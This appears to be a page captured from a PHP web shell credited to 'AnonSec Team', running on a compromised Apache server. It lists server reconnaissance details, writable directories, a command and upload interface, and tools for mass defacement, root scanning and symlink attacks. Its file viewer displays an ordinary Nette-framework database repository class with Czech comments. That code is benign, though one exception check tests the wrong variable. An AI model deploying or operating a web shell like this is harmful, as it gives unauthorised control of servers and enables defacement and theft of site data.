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/  Your IP : 172.18.0.1   [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/app/model/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/app/model/Repository.php
<?php

namespace Promoteus;

use App\frontModule\Presenters\BasePresenter;
use Exception;
use Nette;
use Nette\Database\Context;
use Nette\Http\FileUpload;
use Nette\Security\User;
use Nette\Utils\Strings;
use Tracy\Debugger;

/**
 * Provádí operace nad databázovou tabulkou.
 */
class Repository
{
    /** @var Context */
    protected $db;
    protected $tableName = NULL;

    /* ['table_name'=>'column_name']*/
    protected $foreignKeys = [];
    /**
     * @var User
     */
    protected $user;
    /**
     * @var Nette\DI\Container
     */
    private $context;

    /**
     * Repository constructor.
     * @param Context $db
     * @param User $user
     * @param Nette\DI\Container $context
     */
    public function __construct(Context $db, User $user, Nette\DI\Container $context)
    {
        if (!$this->tableName) {
            // název tabulky odvodíme z názvu třídy
            preg_match('#(\w+)Repository$#', get_class($this), $m);
            $this->tableName = lcfirst($m[1]);
        }
        $this->db = $db;
        $this->user = $user;
        $this->context = $context;

        //načtení nových práv
        if($user->isLoggedIn() && !isset($user->identity->data["client"]["user_group_id"])){
            $user->logout();
        }

    }

    public function beginTransaction()
    {
        $this->db->beginTransaction();
    }

    public function commit()
    {
        $this->db->commit();
    }

    public function rollBack()
    {
        $this->db->rollBack();
    }

    /**
     * @return string|null
     */
    public function getTableName(): ?string
    {
        return $this->tableName;
    }

    /**
     * @param string $name
     * @return object
     */
    protected function getService(string $name)
    {
        return $this->context->getService($name);
    }

    public function truncate(): void
    {
        $this->db->query("TRUNCATE TABLE `$this->tableName`");
    }

    /**
     * Vrací objekt reprezentující databázovou tabulku.
     * @param null $tableName
     * @return Nette\Database\Table\Selection
     */
    public function getTable($tableName = null)
    {
        return $this->db->table($tableName ?: $this->tableName);
    }

    public function getCountAll(): int
    {
        return $this->db->table($this->tableName)->count();
    }

    /**
     * Vrací všechny řádky z tabulky.
     * @param null $orderBy
     * @return Nette\Database\Table\Selection
     */
    public function findAll($orderBy = NULL)
    {
        $selection = $this->getTable();
        if ($orderBy) {
            $selection->order($orderBy);
        }
        return $selection;
    }

    /**
     * Vrací řádky podle filtru, např. array('name' => 'John').
     * @param array $by
     * @param null $orderBy
     * @return Nette\Database\Table\Selection
     */
    public function findBy(array $by, $orderBy = NULL)
    {
        $selection = $this->getTable()->where($by);
        if ($orderBy) {
            $selection->order($orderBy);
        }
        return $selection;
    }

    /**
     * To samé jako findBy akorát vrací vždy jen jeden záznam
     * @param array $by
     * @return \Nette\Database\Table\ActiveRow|FALSE
     */
    public function getBy(array $by)
    {
        return $this->findBy($by)->limit(1)->fetch();
    }

    /**
     * Vrati array ktery se pouziva u input tipu select.
     * @param string $select
     * @param string $primaryKey
     * @param array $by
     * @param bool $group
     * @return array [ $primaryKey => $select, ...]
     */
    public function getDataForSelectInput(string $select, string $primaryKey = 'id', array $by = null, bool $group = true)
    {
        $query = $this->getTable();
        if ($group) $query->group($select);
        if ($by) $query->where($by);
        $query = $query->fetchAssoc($primaryKey);
        return BasePresenter::$cacheStatic->load(serialize($query), function () use ($select, $query) {
            $res = [];
            foreach ($query as $key => $value) {
                $res[$key] = $value[$select];
            }
            return $res;
        });
    }

    /**
     * Vrací záznam s daným primárním klíčem
     * @param int $id
     * @return \Nette\Database\Table\ActiveRow|FALSE
     */
    public function getById($id)
    {
        return $this->getBy(array('id' => $id));
    }

    /**
     * @param $id
     * @param $values
     * @return bool|int|mixed|Nette\Database\Table\ActiveRow
     * @throws RepositoryException
     */
    public function persist($id, $values)
    {
        if ($id) {
            $row = $this->update($id, $values);
        } else {
            $row = $this->insert($values);
        }
        return $row;
    }

    /**
     * @param $values
     * @return bool|int|Nette\Database\Table\ActiveRow
     */
    public function insert($values)
    {
        if (is_object($values)) {
            $_values = clone $values;
        } else {
            $_values = $values;
        }
        if (key_exists('id', $_values)) unset($_values['id']);
        return $this->getTable()->insert($_values);
    }

    /**
     * @param $idOrCondition
     * @param $values
     */
    public function insertOrUpdate($idOrCondition, $values)
    {
        $result = $this->findBy($idOrCondition)->limit(1)->fetch();
        if ($result) {
            $result->update($values);
        } else {
            $this->insert($values);
        }
    }

    /**
     * @param $id
     * @param $values
     * @return mixed|Nette\Database\Table\ActiveRow
     * @throws RepositoryException
     */
    public function update($id, $values)
    {
        if (is_object($values)) {
            $_values = clone $values;
        } else {
            $_values = $values;
        }
        if (key_exists('id', $_values)) unset($_values['id']);
        $row = $this->getTable()->get($id);
        if (!$row) Throw new RepositoryException("Row with $id not found!");
        $row->update($_values);
        return $row;
    }

    /**
     * @param $id
     * @return Nette\Database\Table\ActiveRow
     * @throws RepositoryException
     */
    public function delete($id)
    {
        $this->db->beginTransaction();
        $row = $this->getTable()->get($id);
        if (!$row) Throw new RepositoryException("Row with $id not found!");
        $row->delete();
        foreach ($this->foreignKeys as $table => $column) {
            $this->db->table($table)->where([$column => $id])->delete();
        }
        unset($this->foreignKeys);
        $this->db->commit();
        return $row;
    }

    /**
     * @param $productCode
     * @return false|Nette\Database\Table\ActiveRow
     * @throws RepositoryException
     */
    public function searchByProductCode($productCode)
    {
        $productId = $this->db->table("product")->select("id")
            ->where("code = ?", $productCode)->fetch();
        if (!$productId) Throw new RepositoryException("Product with code: '$productCode' not found!");

        $manufacturerId = $this->db->table("link_product_manufacturer")->select("manufacturer_id")
            ->where("product_id = ?", $productId->toArray()["id"])->order("id")->fetch();
        if (!$productId) Throw new RepositoryException("Manufacturer for $productCode not found!");

        $result = $this->db->table("list_manufacturer")->select("name")->where("id = ?", $manufacturerId->toArray()["manufacturer_id"])->fetch();
        return $result;
    }


    /**
     * odstrani stary obrazek. zapise novy. Zkontroluje jestli musi neco prepisovat nebo ne.
     * @param string $column
     * @param $values
     * @param int $rowId
     * @param int $imagesTypeId
     * @param string|null $name
     * @return array|null
     * @throws Nette\Utils\UnknownImageFileException
     * @throws RepositoryException
     */
    protected function checkImage(string $column, &$values, ?int $rowId, int $imagesTypeId, string $name = null): ?array
    {
        $return = null;
        if (isset($values[$column]) && $values[$column] instanceof FileUpload && $values[$column]->isOk() && $values[$column]->isImage()) {
            /** @var FileUpload $icon */
            $icon = $values[$column];
            /** @var ImagesTypeRepository $imagesTypeRepository */
            $imagesTypeRepository = $this->getService('imagesTypeRepository');

            $return = [];

            if (in_array($imagesTypeId, ImagesTypeRepository::imageTypes)) {
                throw new Exception('Not implemented');
//                /** @var ProductImageModernizer $productImagesModernizer */
//                $productImagesModernizer = $this->getService('productImagesModernizer');
//                return $productImagesModernizer->saveImageProduct(
//                    $icon, $values->code, $values->order ?? 0, 1, 1, 1, 'none'
//                ); // todo is not used anywhere, maybe doesnt work properly
            } else {
                $linc = WWW_DIR . '/' . $imagesTypeRepository->getById($imagesTypeId)->src;
                $ext = pathinfo($name ?: $icon->getName(), PATHINFO_EXTENSION);
                $fName = Strings::webalize(pathinfo($name ?: $icon->getName(), PATHINFO_FILENAME)) . ($ext ? ".$ext" : '');

                $row = $this->getById($rowId);
                if ($row && key_exists($column, $row->toArray())) {
                    if (is_file($linc . $row->{$column})) unlink($linc . $row->{$column});
                    $return = ['name' => $fName];
                    $this->persist($rowId, [$column => $fName]);
                }
                $icon->move($linc . $fName);
            }
            if ($fName) $return = ['name' => $fName];
            //$values[$column] = $fName;
        }
        unset($values[$column]);

        return $return;
    }

    /**
     * @param null $table
     * @return integer
     */
    public function getChecksum($table = null)
    {
        $table = $table ?: $this->tableName;
        return $this->db->query("CHECKSUM TABLE $table")->fetch()->Checksum;
    }
}

class RepositoryException extends Exception
{
    //TODO: muzeme treba zapisovat do logu
    public function __toString()
    {
        return $this->getMessage();
    }
}

Anon7 - 2022
AnonSec Team